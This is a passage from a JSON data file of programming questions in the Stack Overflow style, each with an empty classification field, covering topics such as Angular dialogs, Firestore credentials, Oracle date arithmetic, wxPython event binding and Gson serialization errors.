image orientation","Body":"<p>How do I change the orientation of an image that I uploaded to Firebase Storage?</p>\n\n<p>I believe that an image has the exif data which describes the orientation of an image. How can I change this?</p>\n"},{"Classification":"","Title":"Angular + PrimeNG custom confirmDialog","Body":"<p>I need to write a custom @component to show confirmation dialogues that always have three configuration variables:\nconfirmButtonLabel, messageText, acceptFunction.</p>\n\n<p>I aim to transport all these three inside of one \"configuration\" Object.</p>\n\n<p>This is how the component.ts looks like:</p>\n\n<pre><code>import {Component, Input, OnInit} from '@angular/core';\nimport {Configuration} from '../../model/confirmModal.model';\n\n@Component({\n selector: 'app-my-confirm-dialog',\n templateUrl: './myConfirmDialog.component.html'\n})\n\nexport class myConfirmDialogComponent implements OnInit {\n ngOnInit(): void {}\n accept():void {\n this.configuration.accept();\n }\n\n @Input()\n configuration: Configuration;\n}\n</code></pre>\n\n<p>There's an object holding all the configurations </p>\n\n<pre><code>configurations = { \n config1: {\n confirmButtonLabel: 'Yep',\n message: 'Do you want to confirm?',\n accept: (): void =&gt; { alert('confirmed'); }\n },\n config2: {\n confirmButtonLabel: 'Yop',\n message: 'Do you want to confirm 2?',\n accept: (): void =&gt; { alert('confirmed 2'); }\n },\n };\n</code></pre>\n\n<p>This i how the component.html looks like:</p>\n\n<pre><code>&lt;p-confirmDialog class=\"my-confirm-dialog\" icon=\"fa fa-question-circle\" [message]=\"configuration.message\" #cd&gt;\n &lt;p-footer&gt;\n &lt;p-button label=\"Cancel\" (onClick)=\"cd.reject()\"&gt;&lt;/p-button&gt;\n &lt;p-button (onClick)=\"accept()\"&gt;&lt;/p-button&gt;\n &lt;/p-footer&gt;\n&lt;/p-confirmDialog&gt;\n</code></pre>\n\n<p>I put the Component in place like this inside the parent.</p>\n\n<pre><code>&lt;app-my-confirm-dialog [configuration]=\"confirmations\"&gt;&lt;/app-my-confirm-dialog&gt;\n</code></pre>\n\n<p>And finally I trigger showing the dialog like this:</p>\n\n<pre><code>ngOnInit{\n this.someEntry = {\n label: 'Config1Dialog', \n command: (event) =&gt; this.showMyConfirmDialog(this.configurations.config1);\n};}\n...\nshowMyConfirmDialog = (confirmDialog): void =&gt; {\n this.confirmLabel = confirmDialog.confirmLabel;\n this.confirmationService.confirm(confirmDialog);\n}\n</code></pre>\n\n<p>So what happens now is, that the Message of the dialog is always right but neither the confirm-button-label nor the on-confirm-function work.\nI don't understand angular very much at the moment and didn't find any nice instruction for this case. </p>\n"},{"Classification":"","Title":"check whether a shape is a group (GroupItems raises an error)","Body":"<p>I was trying the following code in Word:</p>\n\n<pre><code>Sub MyMacro()\n\nDim sh1 As Shape\n\nFor Each sh1 In ActiveDocument.Shapes\n If sh1.GroupItems.Count &gt; 0 Then\n Debug.Print sh1.Name + \" is a group!\"\n Else: Debug.Print sh1.Name + \" is not a group!\"\n End If\nNext\n\nEnd Sub\n</code></pre>\n\n<p>For the actual grouped shape it works, but when the shape is not a group, I get an error:</p>\n\n<blockquote>\n <p>Run-time error '-2147024891 (80070005)': This member can only be\n accessed for a group</p>\n</blockquote>\n\n<p>How can I check if the object is a group, besides using <code>On Error</code>?</p>\n"},{"Classification":"","Title":"Is there any easy tool to Lift up SSR for non SysOps?","Body":"<p>For expample <a href=\"https://easyengine.io/\" rel=\"nofollow noreferrer\">EasyEngine</a> and <a href=\"https://runcloud.io/\" rel=\"nofollow noreferrer\">RunCloud</a> are magnificent tools to lift up Nginx Servers for Worpdress and other apps , for no SysOps this is a Must .</p>\n\n<p>But what if we start caching up with the new technologies , like Vue , React and connecting this to Wordpress Rest API, to get the SEO nice and Working no matter how powerful is GoogleBot (or any other) the good practice is to lift up a Node Server a SSSR, right?.</p>\n\n<p>But this is so confusing for non SysOps , Node and Nginx? , just Node?, Vue, Node and Nuxt or React, Node and Next.</p>\n\n<p>Is there any EasyEngine for this kind technologies?</p>\n\n<p>thanks</p>\n"},{"Classification":"","Title":"Atata - How to send keys to a page","Body":"<p>I am new to Atata and trying to send say a TAB key to a page and verify the contents which is higlighted (like say on a Google page) . I know we can do like below on say a page using <code>Press</code> but could not figure a way to send the special keys like TAB , CTRL, ENTER and all</p>\n\n<pre><code>Go.To&lt;ContactPage&gt;().Press(\"abc\");\n</code></pre>\n"},{"Classification":"","Title":"creating a section that will follow the side bar when scrolling containing <a href element to navigate to div in a page","Body":"<p>is there a way to do a box that contains anchor href elements to link to specific div in a page that will follow the scroll bar ? any help please? I have tried to do this but it didn't scroll on all the page it is fixed.</p>\n\n<pre><code> &lt;div id=\"sidebar\"&gt;\n\n &lt;ul&gt;\n &lt;li&gt;&lt;a href=\"#d1\"&gt;jQuery (animated)&lt;/a&gt;&lt;/li&gt;\n &lt;li&gt;&lt;a href=\"#d2\"&gt;CSS (fixed)&lt;/a&gt;&lt;/li&gt;\n &lt;li&gt;&lt;a href=\"#d3\"&gt;CSS (reveal)&lt;/a&gt;&lt;/li&gt;\n &lt;/ul&gt;\n &lt;/div&gt;\n &lt;form id=\"form2\" runat=\"server\"&gt;\n\n\n &lt;a href=\"#\" id=\"scrlBotm\" class=\"follow-scroll\" style=\"margin-left:95%; color:white;\"&gt;&lt;img src=\"arrow_down.png\"&gt;&lt;/a&gt;\n&lt;h1 style=\"text-align:center;\" id=\"Patient\" runat=\"server\" &gt;&lt;/h1&gt;\n&lt;h2 style=\"text-align:center;\"&gt;Step 1/10&lt;/h2&gt;\n&lt;div id=\"d1\"&gt;\n&lt;ul class=\"form-style-1\"&gt;\n&lt;li id=\"d1\"&gt;&lt;label&gt;Nom du Patient&lt;span class=\"required\"&gt;*&lt;/span&gt;&lt;/label&gt;&lt;input type=\"text\" runat=\"server\" name=\"Name\" id=\"Name\" class=\"field-long\" placeholder=\"First\" /&gt;&lt;/li&gt;\n\n\n\n &lt;li id=\"d2\"&gt;\n &lt;label&gt;Username &amp;emsp; &amp;emsp; &amp;emsp; &amp;emsp; Password &lt;span class=\"required\"&gt;*&lt;/span&gt;&lt;/label&gt;\n &lt;input type=\"text\" runat=\"server\" name=\"Username\" id=\"Username\" class=\"field-short\" placeholder=\"Username\" /&gt;\n &amp;nbsp;\n &lt;input type=\"text\" runat=\"server\" name=\"password\" id=\"password\" class=\"field-short\" placeholder=\"Password\" /&gt;\n&lt;/li&gt;\n\n &lt;/ul&gt;\n &lt;/form&gt;\n</code></pre>\n\n<p>my j query :</p>\n\n<pre><code> &lt;script type='text/javascript' src='http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js?ver=1.3.2'&gt;&lt;/script&gt;\n&lt;script type=\"text/javascript\"&gt;\n $(function () {\n var offset = $(\"#sidebar\").offset();\n var topPadding = 15;\n $(window).scroll(function () {\n if ($(window).scrollTop() &gt; offset.top) {\n $(\"#sidebar\").stop().animate({\n marginTop: $(window).scrollTop() - offset.top + topPadding\n });\n } else {\n $(\"#sidebar\").stop().animate({\n marginTop: 0\n });\n };\n });\n });\n&lt;/script&gt;\n</code></pre>\n"},{"Classification":"","Title":"API calls missing Response Headers for 'access-control\" parameters","Body":"<p>We had someone set the 'access-control-allow-origin' to '*' to use the API and it worked, but the we go back to the webpage using Angular and reuse the API, the response headers are missing and we don't have the 'access-control-allow-origin' there anymore. </p>\n"},{"Classification":"","Title":"Concrete5 Blocks not showing saved content in edit","Body":"<p>I have a weird bug on a website I help build. There are several blocks that when you edit them and add something new it shows up in the text editor and the live website. Then when you go back the edit you made is gone in the text editor but you can see it in the live site. Only a hard refresh will solve the problem but it will happen again. I have exhausted all options. Lets i disabled concrete 5 cache, disabled the javascript, disabled the CSS so I don't know what to do. The website is using the llatest 5.8 version</p>\n"},{"Classification":"","Title":"atari games not displayed properly","Body":"<p>I am not sure why when I call a scenario from the Open AI Gym api, the atari games are displayed four times like below, I am using Ubuntu 14.04, python 2.7. Does any one know what might be the problem ?</p>\n\n<p><a href=\"https://i.stack.imgur.com/NoAno.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/NoAno.png\" alt=\"enter image description here\"></a></p>\n"},{"Classification":"","Title":"API Call from advanced workflow","Body":"<p>Is it possible to make a call from advanced workflow to the Archer API? I'd like to avoid making a custom object and didn't know if I could somehow otherwise initiate a call. </p>\n"},{"Classification":"","Title":"cant use @ejb for calling a remote ejb with this configuration?","Body":"<p>I have two wildfy 10 app server (running not in clustered mode, but in standalone mode):</p>\n\n<p>In the first i deploy an ejb server (jar) that contains a remote Ejb<br>\nIn the second i deploy e web application (war) and try to inject with @EJB the remote proxy for calling remote ejb installed in the first server (web app act as client).</p>\n\n<p>It works only if i use:</p>\n\n<pre><code> @EJB(lookup=\"ejb://scope-examples-ejb-3-server//EmailCheckSecurity!com.bluelotussoftware.example.boundary.\nEmailCheckRemote\")\nEmailCheckRemote emailCheckRemote;\n</code></pre>\n\n<p>but it doesn't work with</p>\n\n<pre><code>@EJB\nEmailCheckRemote emailCheckRemote;\n</code></pre>\n\n<p>Because i need a portable syntax (i also need to call remote ejb from Websphere app server for example..) i don't want to use property lookup with ejb:// but only @EJB instead. Could be possible?</p>\n\n<p>I have tried these settings in standalone.xml, but it doesn'twork:</p>\n\n<pre><code> &lt;subsystem xmlns=\"urn:jboss:domain:naming:2.0\"&gt;\n &lt;bindings&gt;\n &lt;lookup name=\"java:global/EmailCheckRemote\" lookup=\"ejb://scope-examples-ejb-3-server//EmailCheckSecurity!com.bluelotussoftware.example.boundary.EmailCheckRemote\"/&gt;\n &lt;/bindings&gt;\n &lt;remote-naming/&gt;\n &lt;/subsystem&gt;\n</code></pre>\n\n<p>Why not? What is wrong?</p>\n\n<p>Thank you very much</p>\n\n<p>Roberto</p>\n"},{"Classification":"","Title":"Firestore Querying Collection with Angular Dart","Body":"<p>I am currently importing the following package:</p>\n\n<pre><code>import 'package:firebase/firebase.dart' as fb;\n</code></pre>\n\n<p>and then after initialising the firebase object fb, I initialise the firestore class:</p>\n\n<pre><code>var firestore = fb.firestore();\n</code></pre>\n\n<p>I would like to query and then iterate through my collection, showing each document's data, but don't quite now how, this is what I have so far</p>\n\n<pre><code>var doc = firestore.collection('data').doc('one').get()\n</code></pre>\n\n<p>This will return a future with DocumentSnapshot.</p>\n\n<p>I see some older posts with different versions of angular-dart, but the wrapper code has changed. Any help would be appreciated.</p>\n"},{"Classification":"","Title":"Can't set serviceAccountKey for Cloud Firestore with Python","Body":"<p>I am trying to access to the Cloud Firestore db of my Firebase project. I have a very simple code, I just want to connect to my database and add something to it, but unfortunately I can't set the <code>serviceAccountKey</code> properly, therefore I get the following error:</p>\n\n<pre><code>raise exceptions.DefaultCredentialsError(_HELP_MESSAGE)\ngoogle.auth.exceptions.DefaultCredentialsError: Could not automatically determine credentials. Please set GOOGLE_APPLICATION_CREDENTIALS or\nexplicitly create credential and re-run the application. For more\ninformation, please see\nhttps://developers.google.com/accounts/docs/application-default-credentials.\n</code></pre>\n\n<p>Of course I understand this message and I have visited <a href=\"https://developers.google.com/accounts/docs/application-default-credentials\" rel=\"nofollow noreferrer\">the Google Developers link</a>, but I didn't find anything that could be useful in my case. </p>\n\n<p>It must be added that I am trying <a href=\"https://www.youtube.com/watch?v=yylnC3dr_no\" rel=\"nofollow noreferrer\">this Firebase tutorial</a>, so I followed it's example code and it does the verification with <code>serviceAccountKey.json</code> file.</p>\n\n<p>So here is my code that gives the error:</p>\n\n<pre><code>import firebase_admin\nfrom firebase_admin import credentials\nfrom firebase_admin import firestore\n\ncred = credentials.Certificate('serviceAccountKey.json')\nfirebase_admin.initialize_app(cred)\n\ndb = firestore.client()\n\ndoc_ref = db.collection(u'dev').document(u'alovelace')\ndoc_ref.set({\n u'first': u'Ada',\n u'last': u'Lovelace',\n u'born': 1815\n})\n</code></pre>\n\n<p>I have tried out two different account keys, downloaded from two different places inside the Firebase admin. I assume the right one is that I found at the <code>Settings &gt; Service Accounts &gt; Firebase Admin SDK</code> - So I have downloaded the generated key, copied to my apps folder and renamed it to serviceAccountKey.json, then ran the code and got the error from the top of the question. </p>\n\n<p>I would really appreciate if somebody with more experience about the topic could tell if I made an obvious mistake in my code, or any other suggestions would be helpful about how this issue should be fixed. </p>\n"},{"Classification":"","Title":"\"echo {x..y}\" as command","Body":"<ol>\n<li><p>I have a file with values as follows...</p>\n\n<p>{12..18}\n{4,4}\n{10,15}\n{7,12}\n{24..28}\n ...</p></li>\n<li><p>I'd like to execute these with 'echo' such that they can be evaluated, and the values saved in a file. Like:\n\"echo {12..18}\" \non command line evaluates as 12,13,14,15,16,17,18. I would write each line then to a file. Reading the file back, and putting them in bins of 0-50. Messy job.. must be something easier.</p></li>\n<li><p>Ultimately I would like to save these values in 'bins' of 0 to 50 for cumulative distribution frequency. </p></li>\n</ol>\n"},{"Classification":"","Title":"How does gdb know if printed instructions are in arm or thumb mode?","Body":"<p>Let's say you're in a gdb session and you're printing instructions of libc functions via x/[num_of_instructions]i [address]. How does gdb know whether they are to be interpreted as thumb or arm instructions?</p>\n"},{"Classification":"","Title":"Codename One - Scrolling of ComponentGroup + Accordions + Toggle Buttons","Body":"<p>I have a Form (with a BoxLayout.y) that has nested ComponentGroup + Accordions + Toggle Buttons. When the user expands the Accordions (inside the ComponentGroup), the list of Toggle Buttons (inside the Accordions) is long and it doesn't fit in the screen.</p>\n\n<p>The problem is that the Form (occupied by ComponentGroup + Accordions + Toggle Buttons) is not scrollable, I suppose because there is an ambiguity of the meaning of the touching (that could be for selecting an item of the list or to do the scrolling). But, I suppose that in the users' mind there isn't true ambiguity: if the user does a simple tap, then he/she are selecting an item; if the user does a tap and then move the finger without stopping tapping, then he/she are trying to do a scrolling. I suppose that this is the expected behavior in the users' mind... otherwise, if the main ComponentGroup occupies all the screen, the scrolling becomes impossible (that is my case).</p>\n\n<p>At the moment, I found a partial unsatisfying solution adding some millimeters of padding to the main ComponentGroup, so there is few space on the borders of the screen to do the scrolling. However it's not intuitive, because users usually expect to be able to scroll in any place of the Form.</p>\n\n<p>My question is how to enable the scrolling in all the Form.</p>\n\n<p>The following code is an example of the structure of code. The actual code is generated by a complex parser written by me that generates the UI automatically from a json input:</p>\n\n<pre><code>Form hi = new Form(\"Hi World\", BoxLayout.y());\n\n// Warning: you need to set the theme property \"ComponentGroupBool\" to true\nButton button1 = new Button(\"Button 1\", \"ButtonMenuCategories\");\nCheckBox button11 = CheckBox.createToggle(\"Button 1.1\");\nCheckBox button12 = CheckBox.createToggle(\"Button 1.2\");\nButton button13 = new Button(\"Button 1.3\", \"ButtonMenuCategories\");\nCheckBox button131 = CheckBox.createToggle(\"Button 1.3.1\");\nCheckBox button132 = CheckBox.createToggle(\"Button 1.3.2\");\nCheckBox button133 = CheckBox.createToggle(\"Button 1.3.3\");\nCheckBox button14 = CheckBox.createToggle(\"Button 1.4\");\nButton button2 = new Button(\"Button 2\", \"ButtonMenuCategories\");\nButton button3 = new Button(\"Button 3\", \"ButtonMenuCategories\");\nButton button4 = new Button(\"Button 4\", \"ButtonMenuCategories\");\nButton button5 = new Button(\"Button 5\", \"ButtonMenuCategories\");\n\nAccordion accordion13 = new Accordion();\naccordion13.addContent(button13, FlowLayout.encloseCenter(ComponentGroup.enclose(button131, button132, button133)));\nAccordion accordion1 = new Accordion();\naccordion1.addContent(button1, FlowLayout.encloseCenter(ComponentGroup.enclose(button11, button12, accordion13, button14)));\nAccordion accordion2 = new Accordion();\naccordion2.addContent(button2, new Label(\"Hello\"));\nAccordion accordion3 = new Accordion();\naccordion3.addContent(button3, new Label(\"Hello\"));\nAccordion accordion4 = new Accordion();\naccordion4.addContent(button4, new Label(\"Hello\"));\nAccordion accordion5 = new Accordion();\naccordion5.addContent(button5, new Label(\"Hello\"));\n\nContainer menu = FlowLayout.encloseCenter(ComponentGroup.enclose(accordion1, accordion2, accordion3, accordion4, accordion5));\n\nhi.add(menu);\nhi.show(); \n</code></pre>\n"},{"Classification":"","Title":"How can I fadeIn elements during a click event?","Body":"<p>More specifically, I want to fade one by one my <code>a</code> elements from my <code>mobile-container</code> when the transition of the <code>mobile-container</code> transitions stops when it's opened. <a href=\"https://www.dtelepathy.com/\" rel=\"nofollow noreferrer\">This</a> website has exactly what I'm trying to achieve. </p>\n\n<p><a href=\"https://codepen.io/make96/pen/jxVeeL\" rel=\"nofollow noreferrer\">Here</a> is a link to my codepen.</p>\n\n<p>Bellow is my code.. without the Sass and Jquery files because the indentation on stack overflow is killing me.</p>\n\n<p>Jade: </p>\n\n<pre><code>nav\n a(id='brand') ecostudent\n ul(class='main-navigation')\n li\n a lorem\n li\n a lorem\n li\n a lorem\n li\n a lorem \n div(class='menu-wrapper')\n div(class='line-menu top')\n div(class='line-menu bottom')\n div(class='mobile-container')\n ul(class='mobile-navigation')\n li\n a lorem\n li\n a lorem\n li\n a lorem\n li\n a lorem\n div(class='menu-closing-wrapper')\n div(class='line-menu top')\n div(class='line-menu bottom')\n</code></pre>\n"},{"Classification":"","Title":"DataGrid header cannot be accessed by keyboard","Body":"<p>The header in a <code>DataGrid</code> is accessible by mouse. When one clicks on the header the columns are sorted, however the same action cannot be performed by the keyboard as the header does not get the focus. Is there a property I am missing? Or is it possible to sort the column in some other manner?</p>\n\n<p>This is part of my code:</p>\n\n<pre><code>&lt;DataGrid.Columns&gt;\n &lt;DataGridTextColumn Header=\"Language\" Binding=\"{Binding Language}\"/&gt;\n&lt;/DataGrid.Columns/&gt;\n</code></pre>\n"},{"Classification":"","Title":"Import tensorflow contrib learn python learn","Body":"<p>I am new to tensorflow. When I am using <code>import tensorflow.contrib.learn.python.learn</code> for using the DNNClassifier it is giving me an error: <code>module object has no attribute python</code> \nPython version 3.4\nTensorflow 1.7.0</p>\n"},{"Classification":"","Title":"Subtraction of dates in Oracle","Body":"<p>Today working with dates in Oracle, perform a subtraction of date with the following query:</p>\n\n<pre><code>SELECT TO_DATE(SYSDATE, 'DD/MM/YYYY') AS HOY, \n TO_DATE(T.FECHAEVAL, 'DD/MM/YYYY') AS FECHA, \n TO_DATE(SYSDATE, 'DD/MM/YYYY') - TO_DATE(T.FECHAEVAL, 'DD/MM/YYYY') AS RESTA \nFROM HP_TRANSACT_RES_EVAL_HIPO t\nWHERE T.FECHAEVAL IS NOT NULL\n</code></pre>\n\n<p>Which I throw the following results:</p>\n\n<p><a href=\"https://i.stack.imgur.com/ynvVl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ynvVl.png\" alt=\"enter image description here\"></a></p>\n\n<p>As you can see the subtraction gives me negative results, of course they are not expected, making tests made the following query:</p>\n\n<pre><code>SELECT TO_DATE(SYSDATE, 'DD/MM/YYYY') AS HOY, \n TO_DATE(T.FECHAEVAL, 'DD/MM/YYYY') AS FECHA, \n TO_DATE(SYSDATE) - TO_DATE(T.FECHAEVAL, 'DD/MM/YYYY') AS RESTA \nFROM HP_TRANSACT_RES_EVAL_HIPO t\nWHERE T.FECHAEVAL IS NOT NULL\n</code></pre>\n\n<p>Which I throw the following results:</p>\n\n<p><a href=\"https://i.stack.imgur.com/bXZk7.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/bXZk7.png\" alt=\"enter image description here\"></a></p>\n\n<p>These are the expected results. Here my question is what is the difference between doing the subtraction of the following way <code>TO_DATE (SYSDATE, 'DD / MM / YYYY') - TO_DATE (T.FECHAEVAL, 'DD / MM / YYYY')</code> to the way that I I throw the correct results <code>TO_DATE (SYSDATE) - TO_DATE (T.FECHAEVAL, 'DD / MM / YYYY')</code>?</p>\n\n<p>As you notice the field <code>T.FECHAEVAL</code> is<code>VARCHAR2</code>.</p>\n"},{"Classification":"","Title":"Django best practice for join mysql tables","Body":"<p>I have two model like this in my Django project.</p>\n\n<pre><code>class Product(models.Model):\n name = models.CharField(max_length=100)\n category = models.ForeignKey(ProductCategory, on_delete=models.CASCADE)\n sub_category = models.ForeignKey(ProductSubCategory, on_delete=models.CASCADE)\n comment = models.TextField()\n size = models.CharField(max_length=60)\n price = models.FloatField(default=0)\n\nclass ProductImage(models.Model):\n product = models.ForeignKey(Product, on_delete=models.CASCADE)\n alt = models.CharField(max_length=200)\n picture = models.FileField()\n</code></pre>\n\n<p>Of course a product can have 2 or more picture.\nHow can I get a all products with all related every single image in my view and pass the result as a context to the template.</p>\n\n<p>also I searched and tried these:\n<strong>prefetch_related</strong>, \n<strong>select_related</strong>, \n<strong>raw sql query</strong> \nand couple of suggested ways. but cannot get the result.</p>\n\n<p>I am newbie in Django and any solutions would helped me.\nThanks in advanced.</p>\n"},{"Classification":"","Title":"How do i list items with an object through one page to another. (Jquery & Ajax)","Body":"<p>Help to find a way to use an object for each:\nlike object.nomes etc.</p>\n\n<p>How do i list items with an object through one page to another. (Jquery &amp; Ajax)</p>\n\n<pre><code>$.fn.gerarResumo = function(ajax){\n\n// produto = new object();*****\n\nnomes = new Array();\nprecos = new Array();\nquantidades = new Array();\ncodigosNcm = new Array();\n\nvar tipoEmbarque = $(\".tipoEscolhidoEmbarque\").val();\nvar nomes = $(\".produtosNome\").val();\nvar produtosPreco = $(\".produtosPreco\").val();\nvar produtosQuantidade = $(\".produtosQuantidade\").val();\nvar produtosCodigosNcm = $(\".produtosCodigosNcm\").val();\nvar qtdProdutoGerado = $(\".qtdProdutoGerado\").val();\n//var tipoFrete = $(\".tipoFreteSelecionado\").val();\n\nvar valorFrete = $(\".valorFreteSelecionado\").val();\nvar textoHtml = \"\";\n\n$(\".natureza\").text(tipoEmbarque);\n\n$(\".incoterm\").html(\"FRETE: EXW/FOB/FAS &lt;br&gt; Valor do Frete: \"+valorFrete+\" USD\");\n\nnomes = produtosNome.split(',');\nprecos = produtosPreco.split(',');\nquantidades = produtosQuantidade.split(',');\ncodigosNcm = produtosCodigosNcm.split(',');\n\nfor(i=1; i&lt;nomes.length; i++){\n\n if(!ajax){\n if(nomes[i] != \"\"){\n $(\".painel-resumo\").append(\"&lt;div class='titleitens'&gt;Item \"+i+\"&lt;/div&gt;&lt;div class='detalhesitem'&gt;Produto: \"+nomes[i]+\" &lt;br&gt; Preço: \"+precos[i]+\" USD &lt;br&gt; Quantidade: \"+quantidades[i]+\" &lt;br&gt; NCM: \"+codigosNcm[i]+\"&lt;/div&gt;\"); \n } \n }else{\n textoHtml += \"&lt;div class='titleitens'&gt;Item \"+i+\"&lt;/div&gt;&lt;div class='detalhesitem'&gt;Produto: \"+nomes[i]+\" &lt;br&gt; Preço: \"+precos[i]+\" USD &lt;br&gt; Quantidade: \"+quantidades[i]+\" &lt;br&gt; NCM: \"+codigosNcm[i]+\"&lt;/div&gt;\";\n } \n}\n\nif(ajax){\n return textoHtml; \n}\n}\n</code></pre>\n"},{"Classification":"","Title":"create a formula to convert 1 varchar field w/date and 1 varchar w/time into 1 datetime field","Body":"<p>I have an existing report that has 2 <code>varchar</code> fields. 1 holds a date, 2 holds a time. I need to create a formula concatenating both and then use that formula to sort the report by. Example: </p>\n\n<pre><code>SCHEDULED_DATE SCHEDULED_TIME\n2018-04-26 00:00:00.000 1:00 PM\n2018-04-26 00:00:00.000 NULL\n</code></pre>\n\n<p>I want to add the 2 fields together and then sort.\nIn SQL I can do the following but in crystal reports, it fails to convert properly and throws an error.</p>\n\n<pre><code>ORDER BY Convert(Datetime, SCHEDULED_DATE + Convert(time,ISNULL(SCHEDULED_TIME, '00:00:00.000')))\n</code></pre>\n\n<p>Here is my attempt at the Crystal Report formula:</p>\n\n<pre><code>If IsNull ({Inspections.SCHEDULED_TIME})\nThen CDateTime(CDATE({Inspections.SCHEDULED_DATE}) + Time('00:00:00.000'))\nElse CDateTime(CDate({Inspections.SCHEDULED_DATE})+ CTime({Inspections.SCHEDULED_TIME}))\n</code></pre>\n\n<p>Any help would be greatly appreciated.\nThanks</p>\n"},{"Classification":"","Title":"Profiling in Pys60","Body":"<p>I can`t understand why this simple code not work? Why profile not see function <code>f</code>?</p>\n\n<pre><code>Python 2.5.4 (r254:67916, Nov 6 2009, 04:18:57) [C] on symbian_s60\nType \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n(InteractiveConsole)\n&gt;&gt;&gt; import profile\n&gt;&gt;&gt; def f():\n... return 1\n... \n&gt;&gt;&gt; profile.run('f()')\nTraceback (most recent call last):\n File \"&lt;console&gt;\", line 1, in &lt;module&gt;\n File \"scriptshell_dir_043001\\profile.py\", line 70, in run\n File \"scriptshell_dir_043001\\profile.py\", line 456, in run\n File \"scriptshell_dir_043001\\profile.py\", line 462, in runctx\n File \"&lt;string&gt;\", line 1, in &lt;module&gt;\nNameError: name 'f' is not defined\n&gt;&gt;&gt; \n</code></pre>\n"},{"Classification":"","Title":"Using onChange event and sending two objects as parameter gets me undefined","Body":"<p>I made a simple function that depending on the text of the item selected from a dropdownlist, a textbox will change its maxlength property.</p>\n\n<pre><code>function cambiarLength(drop, textbox) {\n var option = document.getElementById(drop);\n var texto = option.options[option.selectedIndex].text;\n var field = document.getElementById(textbox);\n if (texto == 'RUC') {\n field.maxLength = 3;\n }\n else {\n field.maxLength = 6;\n }\n};\n</code></pre>\n\n<p>Codebehind:</p>\n\n<pre><code>TipoDoc.Attributes.Add(\"onChange\", \"javascript: cambiarLength(this, txtDoc);\");\n</code></pre>\n\n<p>Error:</p>\n\n<pre><code>0x800a1391 - JavaScript runtime error: 'txtDoc' is undefined\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/uxSPM.jpg\" rel=\"nofollow noreferrer\">Image</a></p>\n"},{"Classification":"","Title":"Closing wx.Dialog from event handler within a panel by clicking a button in another class","Body":"<p>I can't get the buttons events (Save, Close) in the following ButtonsPanel class to fire their event handlers in the AddModFormContractors class.</p>\n\n<p>The following command:</p>\n\n<pre><code>pnlButtons = ButtonsPanel(parent=self.frm_pnl)\n</code></pre>\n\n<p>is passing a PANEL as the parent of the ButtonsPanel, and that fails the binding in runtime, if I bind to \"parent.onClose\". Trying to pass just \"self\" renders nothing on the frame at all. Running it as in the code below throws an exception that onClose is missing the second (event) argument.</p>\n\n<p>How can I get this to work, please?</p>\n\n<pre><code>class ButtonsPanel(wx.Panel):\n\n def __init__(self, parent):\n wx.Panel.__init__(self, parent)\n\n btnSizer = wx.BoxSizer(wx.HORIZONTAL)\n\n okBtn = wx.Button(self, label=\"Save\")\n okBtn.Bind(wx.EVT_BUTTON, AddModFormContractors.onSaveRecord)\n btnSizer.Add(okBtn, 0, wx.ALL, 5)\n cancelBtn = wx.Button(self, label=\"Close\")\n cancelBtn.Bind(wx.EVT_BUTTON, AddModFormContractors.onClose)\n btnSizer.Add(cancelBtn, 0, wx.ALL, 5)\n\n self.SetSizer(btnSizer)\n self.Layout()\n\n\n\nclass AddModFormContractors(wx.Dialog):\n\n def __init__(self, targetObject, row=None, titlePrefix=\"Add\", titleLabel=\"Record\", addRecord=True):\n\n wx.Dialog.__init__(self, None, title=\"{} {}\".format(titlePrefix, titleLabel), size=(730, -1))\n\n self.targetObject = targetObject\n self.addRecord = addRecord\n self.selectedRow = row\n\n ... DOING RECORD STUFF HERE ...\n\n #Construct the form\n self.frm_pnl = wx.Panel(self)\n self.frm_pnl.BackgroundColour = (235, 230, 220) # BEIGE\n\n font = wx.Font(12, wx.SWISS, wx.NORMAL, wx.BOLD)\n lbl = wx.StaticText(self.frm_pnl, label=\"{} {}\".format(titlePrefix, titleLabel))\n lbl.SetFont(font)\n\n pnlCompany = CompanyPanel(parent=self.frm_pnl, record=recordToUpdate)\n pnlRecord = RecordPanel(parent=self.frm_pnl, record=recordToUpdate)\n pnlButtons = ButtonsPanel(parent=self.frm_pnl)\n\n self.frmPnl_vertSizer = wx.BoxSizer(wx.VERTICAL)\n\n ... BUILDING THE SIZER HERE ...\n\n self.frmPnl_vertSizer.Layout()\n self.frm_pnl.SetSizer(self.frmPnl_vertSizer)\n\n\n wx.CallAfter(self.SetFrameSize)\n\n def onClose(self, event):\n\n print(\"Closing\")\n self.Destroy()\n\n\n def onSaveRecord(self, event=None):\n if self.Validate():\n if self.addRecord:\n dictRecordValues = getValuesFromForm(self, self.olv_dict)\n forms_controller.insertRecord(self.targetObject, dictRecordValues)\n else:\n dictRecordValues = getValuesFromForm(self, self.olv_dict, False)\n forms_controller.updateRecordById(self.targetObject, self.recordId, dictRecordValues)\n # self.titleTxt.SetFocus()\n\n self.Destroy()\n</code></pre>\n"},{"Classification":"","Title":"Unable to convert Object to Json because multiple JSON fields named `mChangingConfigurations`","Body":"<p>I am using <code>SharedPreferences</code> to save an <code>ArrayList</code> of my <code>Plant</code> Objects to memory, but when I call</p>\n\n<pre><code>public static void savePlants(){\n String json = gson.toJson(myPlantList);\n edit.putString(\"plants\", json);\n edit.apply();\n}\n</code></pre>\n\n<p>I get this error <code>java.lang.IllegalArgumentException: class android.content.res.ColorStateList declares multiple JSON fields named mChangingConfigurations</code> at this line </p>\n\n<pre><code>String json = gson.toJson(myPlantList);\n</code></pre>\n\n<p>Here is the relevant code from my <code>Plant</code> Class</p>\n\n<pre><code>public class Plant {\n private String name;\n private String date;\n private Drawable image;\n private String waterFrequency;\n private Gson gson;\n\n public Plant(String n, Drawable i, String wF){\n this.name = n;\n gson = new Gson();\n Date time = Calendar.getInstance().getTime();\n this.date = gson.toJson(time);\n this.image = i;\n this.waterFrequency = wF;\n }\n}\n</code></pre>\n\n<p>finally, here is the code that handles the <code>button</code> being clicked and the plant being added to the <code>ArrayList&lt;Plant&gt;</code></p>\n\n<pre><code>public void onClick(View v){\n switch(v.getId()){\n case R.id.savePlant:{\n Log.d(\"SavePlant\", \"clicked\");\n MyApplication.myPlantList.add(new Plant(newPlantName.getText().toString(), plantCam.getDrawable(), newPlantWF.getText().toString()));\n MyApplication.savePlants();\n finish();\n Log.d(\"SavePlant\", \"finished saving plant\" + MyApplication.myPlantList.toString());\n break;\n }\n }\n}\n</code></pre>\n"},{"Classification":"","Title":"how to add subtle transiton between 